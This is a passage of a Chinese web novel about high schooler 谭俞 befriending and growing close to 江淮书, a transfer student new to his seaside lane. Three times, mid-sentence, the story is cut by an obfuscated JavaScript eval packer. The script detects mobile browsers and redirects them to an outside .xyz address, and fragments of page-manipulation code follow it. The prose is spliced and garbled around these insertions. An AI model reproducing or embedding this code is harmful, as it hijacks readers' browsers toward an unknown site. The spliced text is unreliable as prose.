此话一出,九爷转头看向他,叉腰嗤笑:“等你总分满五百以上,九爷我捕的鱼全给你!” 这话重量太大,不过这重量在于总分满五百而不是在于鱼。段佳成干笑:“那还是算了,鱼太多我会撑死的。” 三人说笑了一会儿,九爷突然想起了什么,“诶”了一声:“我听说你们茉莉巷那儿来了个新住户,真的假的?” 闻言,谭俞有些惊讶:“谁啊?” 这话段佳成明显不信,他边弯腰放下裤腿边回答道:“肯定假的呗,谁会来这地方住啊,条件不行交通又不便利。” 段佳成说的确实没问题,旅游的话梅城确实是个不错的取景地,只不过还没被开发,而且现在这边经济并不发达,甚至可以说是有点落后,所以梅城并不属于年轻人们居住的选择范围内。 “是真是假回去看看不就知道了?”说着,谭俞便拿起校服往外走。 段佳成见状,连鞋子都没穿好就跑了过去:“诶诶诶,你等等我啊老谭!” ————————————————————————— 茉莉巷跟学校隔着一条街,谭俞跟段佳成有喝酸角汁的喜好,每次过岔路口都要去小超市买一瓶,今天也不例外。 两人进超市逛了一圈,段佳成没找到自己喜欢吃的柠檬味薯片,转头就去问正在玩手机的收银员:“钟姨,您没进货啊?” 此时钟姨正在看电视剧,她嗑着瓜子抽空回段佳成的话:“没呢,这几天没时间。” 段佳成一听立马蔫了,谭俞轻笑了声,随便拿了点虾片和火腿肠就去结账了:“走吧,下周再来看看。” 说着,他便提着东西往外走。段佳成几步就跟了上去,跟谭俞勾肩搭背:“今晚来我家吃饭呗。” “不去,”谭俞残忍拒绝,“我得回去给我奶奶和我妹做饭。” 说完,还没等段佳成张口他就停在了巷子口,接着从塑料袋里拿出了那几根刚买的火腿肠,将剩下的递给了段佳成:“卷卷一天没吃东西了,我去喂一下它,你先回去。” “行,”段佳成晃了晃袋子,冲谭俞挥挥手:“那我就先走了。” “嗯。” 见段佳成走远,谭俞边走进巷子边撕开火腿肠的外包装,随后将包装袋扔进垃圾桶里。这时,右边的拐角处突然传来一道低而悦耳的男声:“慢点吃。” 谭俞来到拐角处,脚步顿住了。 只见一个穿着白T牛仔裤的男生逆着光单膝跪地,修长白皙的手指捏着几块冻干正在喂一条小狗。夕阳的光辉洒在他的发丝间,他的刘海有些长,碎发搭在额前,睫毛低垂,让人看不清他的眼神。 莫名地,一种直觉告诉谭俞:那肯定是一双漂亮的眼睛。 “卷卷。”谭俞轻声喊道。 他的声音一响起,小狗和那个男生一齐看了过来。 即使是逆着光,谭俞也还是看清了男生的长相,他的唇边有颗小痣,平添几分勾人的意味。 卷卷一见到谭俞就兴奋地摇着尾巴朝他跑了去,谭俞展开怀抱蹲下身将它抱在怀里,接着将手里的火腿肠递到了它的嘴边,卷卷摇着尾巴,吃得那叫一个欢。谭俞抬眸看向那个男生,微微勾唇:“谢谢你喂它,我来晚了,它肯定早饿了。” 谭俞长得好,那双漂亮的桃花眼衬得他更为多情,颇有些玩世不恭的感觉,笑起来时让人不自觉想要亲近,用段佳成的话来说就是长了一张渣男脸。 男生看了他两秒,低声说了句没事后准备转身离开。谭俞想到刚刚九爷说的那个新住户,便出口叫住了他:“你不是本地人吧,你叫什么名字啊?” 面对谭俞的搭话江淮书其实并不想理睬,他没那么自来熟,也没有随便告诉陌生人个人信息的习惯。因为家里的破事他独自转学来到梅城,本来就水土不服不适应这里,更别说跟陌生人搭讪聊天了,不过出于礼貌他还是告诉了谭俞:“江淮书。” “江淮书,”谭俞独自念了一遍,张口就是夸,“名字真好听。” “谢谢。” 谭俞摸了摸卷卷的头,冲江淮书轻声道:“你忙的话就先走吧,我要喂一下小狗。” 江淮书应了一声便转了身,就在他马上要走出这里时身后突然传来谭俞的叫喊。 “江淮书!” 他停住脚步,回眸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900341|176589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一阵柔风轻轻抚过,吹起了两人的发丝,谭俞在夕阳下笑得张扬耀眼。 “我叫谭俞!” ————————————————————————— 清早的梅城有点凉,茉莉巷的里的茉莉花开得繁茂,连空气中都是茉莉的清香。 谭俞叼着半袋椰奶靠在墙边闭眼等段佳成出门,他实在是太困,巴不得倒地就睡。几分钟后,段佳成嘴里塞着满嘴的鱿鱼条宛若行尸走肉般挪了出来,含糊不清的哀嚎着。 “老谭我要死了——” 谭俞直起身慢悠悠地走在了段佳成的前面,语气也是要死不活:“去学校再死。” 现在的高中生总是晚上熬夜早上来到教室现赶作业,但谭俞是个例外,因为他根本不写。 “段段,你化学写了没?”一个男生走到了段佳成面前,手里还拿着一张化学卷子。 此话一出,本来昏昏欲睡的段佳成猛然惊醒:“有化学作业?!” 看见段佳成这一脸疑惑的表情,男生了然,他嘴角抽了抽:“有啊,你不会没写吧?还不赶紧赶,待会儿敌敌畏让你抄试卷抄到死!” 敌敌畏老师人如其外号,手段阴毒了得,并且从不心慈手软,被他罚过的学生没一个不哭的,段佳成虽然没被罚过但早有耳闻,此时已经是心生恐惧了。由于来不及翻找试卷,他只好连忙从桌洞里随便掏出一张皱巴巴的草稿纸开始抄答案,顺便顺手推了推正在补觉的谭俞:“老谭起来补下化学!那老头可恐怖了!” 谭俞被活生生摇醒,但他连根手指都懒得动弹,屈尊降贵地睁眼扫了一眼段佳成然后又闭上,随口敷衍:“罚吧。” 正所谓天堂有路你不走,地狱无门你闯进来,段佳成恨铁不成钢的叹了口气,无奈地连谭俞那份答案也抄上了。 第一节是数学课,按理来说大家都应该昏昏欲睡才对,但这节课不同以往那样死气沉沉,反而特别吵。同学们都在七嘴八舌地说话,说什么转学生什么的,接着就是数学老师说让谁坐谁旁边,其他的谭俞没听清,不过他也没管,睡了个昏天地暗。 谭俞睡得很香,连梦都没做。太阳开始缓缓升起,丝丝缕缕的阳光透过窗户照射进来,谭俞觉得很晒,皱了皱眉,睁开了眼。窗帘被风吹起,他突然闻到了一股淡淡的橘香,紧接着映入眼帘的是一张冷白的侧脸。 他顿时愣住了,第一反应是自己哪来的同桌,第二反应是这张脸有点熟悉,似乎在哪见过。 下一秒,他的脑海里浮现出一段记忆,意识瞬间清醒。 是江淮书。 不过虽然他脑子彻底清醒了但并没有立马动作,而是头靠在桌子上静静地看着新同桌写笔记。或许是看得久了,江淮书有所察觉,他垂眸看了过来:“什么事。” 本以为谭俞会问一些关于自己的事,毕竟数学课他刚来这个班的时候谭俞正在睡觉,醒来时突然看见昨天刚见过的人成了自己新同桌难免会觉得好奇,但是谭俞什么也没有问。他似乎很爱笑,桃花眼眼尾轻轻挑起,这时的阳光恰好照进他的眸底,清澈漂亮,像玻璃。江淮书听见他轻笑一声,带着点刚睡醒的懒散。 “早啊同桌。” 5. 邻居 下午历史课要默写,段佳成早已打好小抄,谭俞依旧烂泥扶不上墙,背也不背,小抄也不打。 最后一节课一下课段佳成就凑到了谭俞桌前:“老谭老谭,中午不吃饭,打球去呗。” 此时江淮书还在写题,段佳成猛地一过来,连人家桌子都撞歪了,江淮书写题的动作一顿,抬眸看他。谭俞注意到江淮书的情绪变化,用力踹了段佳成一脚:“鬼喊些什么,我同桌写题呢,要去你自己去,我懒得动。” 谭俞这么一说,段佳成才注意到这个问题,他抱歉地看向江淮书,干笑道:“抱歉哈新同学,刚没注意到。” 说完,他转头继续跟谭俞斗嘴:“为什么不去啊,中午在这儿待着多无聊啊。” 谭俞关上书就是睡,一句多话都不想说:“不去。” “懒死你得了,”段佳成咬牙切齿,“你不去我自己去。” “慢走不送。” “滚!!!!!” 脚步声渐远,段佳成走后教室里只剩下谭俞和江淮书。一个睡觉一个写题,两人都安静得不行。 不过谭俞根本没睡着,因为早上他已经睡饱了。他头靠在桌上眯了几分钟,随后睁开了眼:“同桌,你不去吃饭啊?” 教室里接着响起翻书的声音,江淮书顿了几秒才开口:“我不饿。” 还真是惜字如金。 谭俞有些想笑,他单手支起下巴,仔细把江淮书看了个够本。注意到谭俞直白的视线,江淮书原本的写题思路硬生生被打断,他叹了口气,放下了笔:“你在看什……” “我俩出去逛逛吧?” 没等江淮书说完谭俞就打断了他的话:“走吧走吧,还有三个小时才上课。” 话音一落,教室里顿时又恢复了刚刚的宁静,江淮书不说话,谭俞也不急。黑板边的时钟滴答滴答的响着,时间一分一秒的过去,江淮书将书放进桌洞,随后站起身,垂眸看向谭俞。 “去哪?” ————————————————————————— 校门口的小吃摊都排满了人,谭俞带着江淮书去了另一个地方——月牙湾。 月牙湾离茉莉巷不远,同时也靠海,这地方的水果和小吃是梅城里种类最多的。江淮书跟着谭俞来到了一个小馆子里,谭俞要了两份凉拌海蜇,他递给江淮书一个黑色小瓶:“这儿的凉拌海蜇还不错,如果等会儿你要是还觉得腥的话就倒点压压。” 瓶子里装的是柠檬水,不过这并不是平常喝的那种饮料,而是柠檬榨出来的纯汁,压腥效果非常显著。 馆子里的老板很热情,抬菜上来的时候还带了两杯冰水给他俩,操着一口不太流利的普通话:“两个小同学用餐愉快啊。” 谭俞笑了笑,用本地话跟老板说了声谢谢。江淮书拿起筷子夹了一块尝了尝,谭俞见状,冲他挑眉一笑:“如何?” “很好吃,”江淮书道,“很脆。” 听到江淮书说好吃,谭俞笑容更甚:“那是,我的眼光不错吧?我可是这儿的常客。” 这顿午饭两人吃得很愉快,虽然只有谭俞一个人在找话题聊天但并没有不舒服的感觉,谭俞没有,江淮书也没有。 饭后谭俞带着江淮书来到海滩边散步,正午的太阳最大,晒得人睁不开眼,咸涩的海风扑面而来,恰好吹散了那股燥热。走到一小块礁石旁时谭俞突然蹲了下来,江淮书有些不明所以,谭俞冲他招招手:“你来看,猜猜这是什么?” 江淮书垂眸,顺着他指的方向看去——那是一小团鼓包,里面不知道埋着什么。江淮书思考了一下,犹豫着开口:“贝壳?” 谭俞笑得神秘,他用手拨开那鼓包上的沙,接着一个黑色的壳露了出来,谭俞将它拿在手心里捏了捏它的肉,一堆水被挤了出来:“不是贝壳,是猫眼螺,刚刚有这个小鼓包是因为它在卧沙。它很好玩的,用力捏它会挤出水来。” 想到刚刚吃的凉拌海蜇,江淮书看着这颗黑色的猫眼螺,不禁有些好奇:“它……能吃?” “能啊,”谭俞将猫眼螺放下,抬眸看向江淮书,“不过我不爱吃,它的肉太难嚼了。” “但如果你想尝尝的话可以去下馆子。” 闻言,江淮书摇了摇头:“不了。” 谭俞没有再说什么,他往前挪了挪,用手捧起了一汪海水:“你知道海水是什么味道的吗?” 江淮书虽说是内陆人,但也有听闻说海水是咸的,这算是常识,他有些疑惑谭俞为什么要问这种问题:“不是咸的么,为什么问这个?” “谁告诉你是咸的?”谭俞似乎也很疑惑,他上下打量了下江淮书,“你从哪听说的?” 这可把江淮书问懵了,他脑子有些空白:“不是咸的?” “你尝尝不就知道了。” 江淮书半信半疑的捧了汪海水凑到嘴边喝了一口,随后立马皱眉吐了出来。 咸的! 又咸又苦又涩! “哈哈哈——” 谭俞憋不住了,大笑起来,笑声张扬肆意,但并不惹人厌。 “你真信我啊江淮书?!” 见谭俞笑得这么开心,江淮书反应过来自己被耍了,他用纸擦了擦嘴,无奈地看着谭俞笑。 过了一会儿,谭俞笑够了,拿出手机看了眼时间,突然唰的一下站了起来,笑容瞬间烟消云散。 “完了同桌,我们快迟到了。” ————————————————————————— 历史课默写时谭俞正在睡觉,令江淮书不解的是历史老师竟然不管谭俞,甚至看都不看一眼。 如果说早上数学课老师没有管谭俞睡觉是巧合,那这节历史课默写老师下讲台来回走动都没管就绝对不可能是巧合了。 为什么? 江淮书第一个默写完,正看着“秦”字发呆。历史老师转了两圈后走上讲台,低头看了眼手表:“还有十秒钟,没写完的赶快。” 他的嗓门很大,话一说完就把江淮书扯回了神智,同时也震醒了谭俞。江淮书本以为谭俞会让自己拿本子给他抄,于是自觉地把本子往他那挪了挪,可没想到谭俞不但并没有按照他想的那样走,而且还偷偷拿出手机玩了起来。 江淮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900342|176589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书:“?” 这时,后边不远处传来了小声的叫喊。 “新同学!” “新同学!” 声音被刻意压低,要不是江淮书听力还不错还真不怎么能被听到。他闻声转头,段佳成正假装系鞋带躲历史老师,在桌底下对着江淮书手舞足蹈:“借我瞟两眼!” “拜托拜托!” 江淮书淡淡地扫了他一眼,随后拿起了本子。段佳成见状,立刻大喜过望,差点连义父都要叫出口了,但下一秒,他却看到江淮书拿起本子起身走到讲台边交了上去。 段佳成笑不出来了。 这次默写段佳成写了一堆废话,简直是胡编乱造,差点给历史老师内伤气出来了。段佳成的默写本被当众展示,下课直接被请到办公室喝茶去了。 下午放学段佳成一直嚎着喊腿疼,说要回家吃好喝好补补身体,谭俞喝着冰镇酸角汁走在前边,敷衍地支持着段佳成。 “我回来了!” 谭俞打开家门走了进去,将书包放到了房间里。谭叶正坐在地上对着镜子捣鼓着戴在鬓角的茉莉花,此时一听见谭俞到底声音便立马跳了起来:“哥哥哥哥!!” 她小跑着跑到谭俞的腿边紧紧抱住,谭俞蹲下身将谭叶搂进怀里,温柔轻笑:“今天乖不乖,有没有听奶奶的话?” “有!小叶子今天很听话!” “这么棒呀。” 兄妹俩正你一言我一语地谈笑着,姚淑芬听见声音后便杵着拐棍从厨房里走了出来:“哎哟,小俞回来啦?快来帮奶奶看看,我是不是把鸡蛋壳给打进锅里去了。” 闻言,谭俞一下子站起身,语气有些急:“奶奶,我不是跟你说过吗?以后不要下厨,你腿不好,要静养。” 说完他便松开怀里的谭叶走进了厨房,姚淑芬笑了笑,也跟着进去了。 “我就是闲不住嘛,我还想着等你放学给你个惊喜呢。” 谭俞哭笑不得地叹了口气:“奶奶,好好养身体,这些事我来做就好了。” “诶,诶,诶,好,”姚淑芬轻声答应着,接着她突然想到了什么,开口交代谭俞,“小俞啊,我们这儿来了个新住户,看样子应该是内陆来的孩子,一个人在这儿人生地不熟的,保不准就水土不服。” “既然到咱这儿茉莉巷来了,那都是邻居,多互相照应着点儿。你多做点菜多煮碗饭,一会儿给他送去。” 此话一出,谭俞动作一顿,转头问她:“奶奶,你说的那个人是不是长得高高的,唇边有颗痣,皮肤很白,长得很好看的一个男生?” 谭俞这么一形容,姚淑芬的脑海里立马浮现出前几天看见那个拉着行李箱走进茉莉巷的男孩子,她点了点头:“对,就是那孩子。” “那我知道了,他是我同桌,我会给他送过去的,”谭俞擦了擦手,将奶奶请出了厨房,“好了奶奶,现在快出去休息吧。” 姚淑芬笑得欣慰:“行行行,不用请我了,你奶奶我呀,自己走。” 说着她便顺手将厨房门关上,杵着拐棍慢慢走到沙发边坐下,将毛线打理好后开始织起了毛衣。 6. 摘椰子风波 考虑到江淮书是内陆人,谭俞做菜时多花了点心思压腥,不知道他能不能吃辣,所以大多数菜也都没怎么放辣椒。 大约二十分钟后谭俞便端着菜走出了厨房:“吃饭咯!” 谭叶玩了一下午,早饿了,此时闻到菜香她连忙从奶奶身上下来。她跑到桌边趴着,耸着鼻子嗅香气:“哇!哥哥你好厉害!!” “那是,”谭俞挑眉,“也不看看你哥是谁。” 说着,他弯下腰将谭叶抱到椅子上坐着,随后抬头招呼奶奶过来:“奶奶,你和小叶子先吃,我盛点饭菜给我同桌送过去。” 奶奶摘了老花镜,冲谭俞摆摆手:“去吧去吧。” 茉莉巷的住户不多,大家都是熟人,又常常互相串门,所以谭俞轻而易举地就找到了江淮书的住处。 他用左手端着碗,伸出右手去敲门。 第一次敲门的时候门没开,可能是没听到,于是谭俞耐着性子又敲了第二次,这次倒是并没有让他多等,几秒后门就开了。谭俞早就准备好说辞了,未见其人先打招呼:“叔叔阿姨您们好,我是……” “谭俞?” 开门后见是谭俞,江淮书眸中闪过惊讶,他轻抬眉梢,叫了声谭俞的名字。这人端着碗站在门口,张着嘴巴没了下文,他似乎比江淮书还惊讶:“江淮书?” “你还真是一个人住啊?” “嗯,”江淮书应了一声,侧开身让谭俞进来,“进来坐坐么?” 江淮书的房子很干净整洁,颜色偏冷色调,跟他本人一样。谭俞将碗放到桌子上,转头看向江淮书:“你刚来这儿肯定不太适应,奶奶让我多关照关照你,吃吧,别客气。” “放心,什么虾啊鱼啊我都仔细弄过了,不腥。” 闻言江淮书一愣:“不了,我……” “哎呀,”谭俞打断了他的话,笑了笑,“我们这儿的人都这样,熟了还互相留宿呢,你别不好意思。而且这可是我亲手做的,你快尝尝。” 江淮书很少跟人打交道,因为性子冷淡难以接近,身边并没有多少朋友,再加上他不怎么喜欢出门,现在已经有些丧失了跟人沟通交流的能力,第一次遇见谭俞这种性格的人,面对对方的热情和接近不知道该作出什么样的回应。他的嘴唇动了动,最后只憋出来了一句老掉牙的客套话:“谢谢。” “没事,”谭俞并不在乎这些小事,他指了指沙发,“我可以坐吧?” “好。” 听见对方答应谭俞也就不客气了,他将身子往后一倒,躺在了沙发上:“你是自己转学过来的?” 江淮书给谭俞倒了杯咖啡,听见谭俞的问话他随口回答道:“嗯。” “为什么啊,你爸妈呢?” “我爸在首都,我妈死了。” 话音一落,房子里瞬间安静下来。 谭俞顿了顿,侧头看向江淮书。后者并没有什么表情,似乎刚刚聊天的话题跟聊吃饭喝水之类的话题没什么两样。谭俞拿过杯子坐了起来:“这里面是什么啊?” “咖啡,”江淮书回答道,“加甜牛奶吗,咖啡很苦。” “加啊,”谭俞站了起来,嬉皮笑脸凑到江淮书身边,“我不喜欢苦的饮品和食物。” 外边传来几声海鸥的叫声,江淮书正在给谭俞调咖啡,而谭俞就站在江淮书身边看着,两人谁也没说话。 良久后江淮书放下勺子,将咖啡递给了谭俞:“好了。” 谭俞说了声谢谢,随后接过杯子喝了一口,顿时眼前一亮:“好香啊。” “你怎么弄的啊?” “想学么,”江淮书抬眸看他,“我可以教你。” 此话一出,谭俞摇了摇头:“不了不了,我笨手笨脚的,别糟蹋你的咖啡了。” 见谭俞拒绝,江淮书也不强求,他给自己也倒了一杯咖啡,因为不喜欢太甜的所以他并没有加甜牛奶。 “我爸妈也死了。” 谭俞突然开口,江淮书动作顿住。 他晃了晃两条长腿,语气听起来很是无所谓:“出车祸死的。” 手上的咖啡还冒着热气,明明味道香醇诱人,可江淮书却失去了想喝欲望,他沉默地听着,一声不吭。 “江淮书,你会弹琴吗?” 江淮书不知道谭俞为什么会聊到这个,但他还是接了话:“不会,你呢?” “我也不会。”谭俞说。 风吹开单薄透光的窗纱,带着沁人心脾的茉莉香,此时太阳已经快要落山,夕阳烧进谭俞的眸底。 “以前爸妈经常出去工作,留我和妹妹在家,他们怕我无聊给我买了一把吉他,说不开心的话就弹琴玩玩。” “不过后来那把吉他被我捣鼓坏了,之后也没拿去修,我带着妹妹去奶奶家住的时候也忘了拿来。” 说着,他勾唇一笑,声音很低,很轻,但江淮书却是一字一句都听得很清楚。 “我觉得这句话很适合你,不过你不会弹琴,应该得改改。” “江淮书,” 谭俞回眸。 “不开心的话就来海边找我。” ————————————————————————— 今天周末,谭俞一觉睡到大中午。窗边的茉莉花开得正好,一只很大的蝴蝶停留在茉莉花上,颇有美感。 这时,桌上的手机铃声突然响起,蝴蝶被惊动,扑扇着翅膀飞走了。 “啧。” 美梦被吵醒的谭俞有些烦躁,不过他起床气不大,没有到要骂人的地步。 “段佳成你有病吧?才十二点你就给我打电话。” ——当然,段佳成除外。 段佳成不知道在哪,环境很嘈杂,他扯着大嗓门回谭俞的话:“打电话跟你说声中午好。” 谭俞:“……” “算了不逗你了,”段佳成吊儿郎当地笑着,“出来摘椰子啊,这儿可热闹了。” 被他这么一闹,谭俞想睡也睡不着了,干脆起床穿衣服,跟段佳成有一搭没一搭的聊着:“是你的吗你就摘?” “这儿没人管,椰子应该是野的。”段佳成语气自信,“来不来?” “行,”谭俞说,“你在那等我。” “得嘞!” 洗漱完后谭俞在家里逛了一圈,发现奶奶和谭叶并不在家,应该是上哪儿看跳舞去了。他喝了杯冰水,把鸭舌帽往脑袋上一戴就出门了。 段佳成自来熟,谭俞到场时就看到他正在跟一个啤酒肚大叔聊得热火朝天。谭俞扔了瓶冰镇酸角汁给他,语气懒散道:“要摘哪棵椰子树?” “哪棵都行啊,”段佳成喝了口酸角汁,爽快的叹了口气,“最近椰子熟了,嘴馋。” 谭俞嗤笑:“你哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900343|176589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天嘴不馋?” “滚。” 两人在周围转了一圈,挑了棵长得最好的椰子树,谭俞看向段佳成:“你带工具没有?” 闻言,段佳成脑子空白了一瞬:“完了,没带。” “没带你摘什么?”谭俞嫌弃地看着他,“你拿命摘吗? 俗话说办法总比困难多,段佳成想了一会儿,突然眼前一亮:“爬上去摘啊。” 谭俞抬头打量了这棵椰子树一番,估摸着这高度大概率是爬不上去的,就在他正要开口说话时,余光却突然瞟到了一道熟悉的身影。 那人清瘦高挑,皮肤冷白,侧脸曲线锋利有型,唇边还有一颗小痣。 是江淮书。 谭俞弯唇,冲那边喊道:“江淮书!” 听见谭俞叫喊,段佳成顺着他的目光看了过去,眼里闪过惊讶,但随后又带着点探究。 原来新同学叫江淮书。 那边的江淮书听见谭俞的声音,转头看了过来:“谭俞?” “你在这干什么?” 谭俞笑了笑:“我跟段佳成摘椰子呢,你呢?” 江淮书晃了晃手里的购物袋:“去了趟超市。” 趁他俩聊天的间隙,段佳成在心里考量了一番:既然一个人爬不上去这棵椰子树,那两个人垫着一个人爬上去呢? 想到这,段佳成断定这主意不错,开口提议:“诶新同学,我跟老谭爬不上去,要不你帮我们一下,我们叠罗汉垫着一个人爬上去摘?” 谭俞一听,也觉得有道理,但如果江淮书不愿意他也不想勉强:“江淮书你吃不吃椰子?不吃的话你可以不用帮忙,我们另寻他法。” 江淮书不是很想吃,但莫名地不想拒绝谭俞,他将购物袋放在一边:“我帮你们吧。” 几人说干就干,谭俞不重,所以爬树的肯定就是他了,段佳成不好意思让江淮书垫着,干脆主动当垫底的。谭俞垫着他们爬到了树腰上,他爬树技术不错,没一会儿就到了顶处的椰子边。 他伸出手去够椰子,第一次没碰到,第二次就差一点点,第三次才正好抓住了椰子。谭俞手上用力,想把它扯下来,但好巧不巧,远处正跑来一个老爷爷,他扯着嗓子大喊:“喂!!那几个小伙子!你们摘我家椰子干嘛?!” 闻言谭俞愣住,低头看向底下的段佳成。然而此刻段佳成也是脑子一片空白——怎么回事? 眼见那个老爷爷离这越来越近,谭俞干脆直接松手跳了下来,脚被震得发麻,但他没时间管这么多,抓着愣住的两人就往前跑:“愣着干嘛?!跑啊!” 三人奋力往前奔跑着,老爷爷腿脚不便跑不快,但他嗓门大,在后面骂着他仨:“偷椰子的贼,别跑!!!” “被我抓住,看我怎么弄你们!!” 谭俞跑得气喘,咬牙切齿道:“段佳成你怎么回事,你不是说那些是野椰子吗?!” “我他妈哪知道?!”段佳成吓得腿也软了,但为了不被抓到还是拖着往前跑,“我看那儿的人都是随便摘的,我还以为是野椰子呢!” 三个男孩子跑了很远才敢停下来喘气,此时谁也说不出一句话,他们面面相觑,随后都不约而同地笑了起来,就连江淮书也勾了勾唇。 林子里回荡着少年们肆意的笑声。 “操,搞什么?” “我服了。” 7. 手链 刚月考完的学生们躁动得很,不过躁动的原因不同,一部分是在对答案估分,另一部分则是在商量放学去哪玩。 但谭俞就不一样了,他哪一部分都不是,而是正在捣鼓刚刚在校门口抽奖抽到的仓鼠。他将鼠粮一小点一小点地放在桌子上,随后又将最后一点鼠粮捧在右手手心,慢慢引导着仓鼠往他手上爬,以此重复多次,玩得不亦乐乎。 教室里没有空调也没有风扇,江淮书有点热,正扯着领子扇风。他将书翻开摊在桌子上安安静静地坐着,看似在认真看书,实则在发呆。 仓鼠爬了几次就累了,窝在书边不愿意走动,谭俞怎么逗它都没有用。书堆得高,遮住了阳光,仓鼠眨巴了两下豆大的眼睛,呼吸渐渐平稳,接着闭上眼沉沉睡去。谭俞摸了摸它毛茸茸的脑袋,啧了一声:“懒鼠。” 话音刚落,江淮书突然看了过来:“怎么了?” “嗯?”被这么一问,谭俞有些莫名其妙,“什么怎么了?” 见谭俞脸上露出疑惑,江淮书顿了顿,接着道:“你刚刚不是叫我吗?” “我没有啊。” 一场对话下来牛头不对马嘴,两人都是觉得莫名其妙。这时,谭俞率先反应过来,笑得想死:“我刚刚说的是鼠,不是书,江淮书你干嘛?” 听了谭俞的话,江淮书沉默了。 谭俞见江淮书不再说话,心里更是想要逗弄。他拿开江淮书桌上的书,将脸凑到江淮书面前,笑得贱兮兮,语气揶揄:“懒书?” 江淮书嘴唇动了动,不自在地将头偏了过去。谭俞不肯放过他,他头偏到哪边谭俞就凑到哪边。 “懒书?” “懒书!” “懒书懒书懒书懒书懒书懒书懒书懒书懒书懒书懒书懒书懒书懒书!” 江淮书:“……” 似乎是真的不经逗,他忍不住伸手捏住了谭俞的脸,谭俞动不了了,但嘴还是欠:“懒,书?” 谭俞眉眼弯弯,眼底都是笑意。江淮书不自觉地勾了勾嘴角,他轻笑了一声,语气听起来有些无奈:“你真是……” 两人动静不大,但距离有些近,段佳成偏头一看就看到了,惊得嘴里的饼干都掉了下来:“你俩这是……这是要嘴一个啊?” 谭俞一听,转过头瞪了段佳成一眼:“说什么呢,我跟江淮书纯友谊好吗?” “是是是,”段佳成撇撇嘴,表情阴阳怪气,“纯~友~谊~” 他表情和语气实在是太欠,谭俞从江淮书身上起来,拿起书卷成筒就走了过去:“段佳成,你找抽呢?” 段佳成见状,连忙放下饼干跑了出去,边跑边回头做鬼脸:“略略略,你来啊你来啊。” “你等着,被我抓到你死了!”说着,谭俞便迈开长腿追了出去。 两人奔跑的脚步声渐远,江淮书垂下眸,指尖莫名蜷缩了一下。 ————————————————————————— 中午吃饭的时候段佳成简直快热得晕过去了,他将冰可乐贴在脸上降温,靠在奶茶店的空调边不愿意走。 谭俞觉得丢人现眼,提着奶茶转身就走:“你自个儿在这好好吹吧,我先走了。” “诶别啊,”段佳成追了上去,“这不快迟到了嘛,我得拉个兄弟同甘共苦啊。” 本来天气就闷热段佳成还用手扒拉着他,他啧了一声,语气嫌弃:“放手,热死了。” “嘁,”段佳成放开手,小声嘟囔,“没人性。” 此时海那边的上空布满了黑压压的乌云,谭俞皱了皱眉。 不会是要下雨吧?他没带伞啊。 “卖手链手串了啊,可自行制作!!” 一道吆喝声打断了谭俞的思路,他脚步一顿,偏头看了过去。那手链摊子上摆着很多盒子,盒子里的珠子琳琅满目,大的小的红的紫的都有,是很寻常的手链珠子。谭俞不知想到了什么,彻底停住了脚步。 “老板,有没有刻着字的珠子?” 小贩一见来了客人,立马停下吆喝,冲着谭俞笑了笑:“有啊,当然有,”他拿了根线递给谭俞,随后将一个红色小盒子打开,“刻字珠子在这儿,小同学你慢慢找。” 见谭俞停在手链摊子前,段佳成面露疑惑:“老谭你要干嘛,做手链?” 谭俞没有正面回答,指尖在盒子里拨弄着,头也不抬:“你先回去。” 段佳成瞪大眼:“我们可是要迟到了,你真确定要做?” “老师不管我,”谭俞一脸无所谓,“你不怕迟到的话就跟我在这儿耗着也行。” 此话一出,段佳成立马转身:“再见。” 大约找了十分钟,谭俞终于找到了分别带有那两个字的珠子。他将那两颗刻着字的珠子和铃铛串在中间,其他的配色小珠子串在两边,最后系了个结便大功告成了。 他将制作好的手链提起来仔细看了看,勾唇笑出声。 “老板,结账。” ————————————————————————— 暴雨倾盆,窗户外面尽是灰蒙蒙的一片,此时已经是第一节课下课,但是谭俞还是没来。 身边的座位空荡荡的,江淮书的思绪随着雨滴一起被风吹了出去。他写不进去题,目光不止一次看向教室门口,似乎是在等什么。 上课铃声响起,敌敌畏走了进来,段佳成一见是他,心里慌得要命:完了完了,这节怎么是敌敌畏的课?谭俞惨了啊这次。 敌敌畏敲了敲黑板,轻咳一声:“好了同学们,安静,把你们昨天的月考卷拿出来,我们这节课讲卷……” “报告。” 话被打断,大家顺着那道声音看去,此时谭俞正喘气着站在门口。 他浑身上下都湿透了,细长的睫毛上挂着水珠,凌乱的发丝还在往下滴着水。 见他这幅狼狈模样,敌敌畏顿时皱起眉:“谭俞你怎么湿成这个样子,淋雨了?快进来,别感冒了。” 谭俞鞠了个躬,走了进来:“谢谢老师。” 